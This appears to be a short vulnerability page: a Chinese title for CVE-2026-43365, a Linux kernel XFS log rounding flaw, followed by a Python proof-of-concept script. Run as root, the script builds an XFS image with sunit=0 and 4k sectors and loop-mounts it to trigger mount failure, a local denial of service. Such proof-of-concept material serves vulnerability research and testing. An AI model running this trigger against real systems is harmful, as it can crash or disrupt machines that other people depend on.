CVE-2026-43365 Linux内核XFS日志舍入值错误漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-43365 # This script demonstrates the logic to trigger the vulnerability. # It requires a vulnerable kernel version and a disk with 4k physical sectors. # Note: Actual exploitation requires creating a specific XFS image. import os import subprocess def create_vulnerable_image(image_path): """ Creates an XFS filesystem image with sunit=0 on a 4k sector device context. This mimics the broken mkfs behavior described in the CVE. """ print(f"[*] Creating vulnerable image at {image_path}...") # Create a dummy file dd_cmd = f"dd if=/dev/zero of={image_path} bs=1M count=100" subprocess.run(dd_cmd, shell=True, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) # Format with XFS, explicitly setting sunit=0 and sectsz=4096 to trigger the bug # Note: On a fixed mkfs, this might not produce the vulnerable state, # but on a broken mkfs (as per CVE description), it creates the mismatch. mkfs_cmd = f"mkfs.xfs -f -d sectsz=4096 -l sunit=0,size=16m {image_path}" try: subprocess.run(mkfs_cmd, shell=True, check=True) print("[+] Image created successfully.") return True except subprocess.CalledProcessError: print("[-] Failed to create image. mkfs.xfs might be fixed or not installed.") return False def mount_and_trigger(image_path, mount_point): """ Mounts the image. On a vulnerable kernel, this should cause CRC errors and prevent the filesystem from mounting properly or crash the mount process. """ if not os.path.exists(mount_point): os.makedirs(mount_point) print(f"[*] Attempting to mount {image_path} to {mount_point}...") try: subprocess.run(f"mount -o loop {image_path} {mount_point}", shell=True, check=True, timeout=10) print("[!] Mount succeeded. System might be patched or conditions not met.") except subprocess.CalledProcessError: print("[+] Mount failed as expected (potential DoS triggered).") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": IMAGE_FILE = "/tmp/cve_2026_43365_test.img" MOUNT_DIR = "/tmp/cve_test_mount" if os.geteuid() != 0: print("[!] This script must be run as root.") exit(1) if create_vulnerable_image(IMAGE_FILE): mount_and_trigger(IMAGE_FILE, MOUNT_DIR)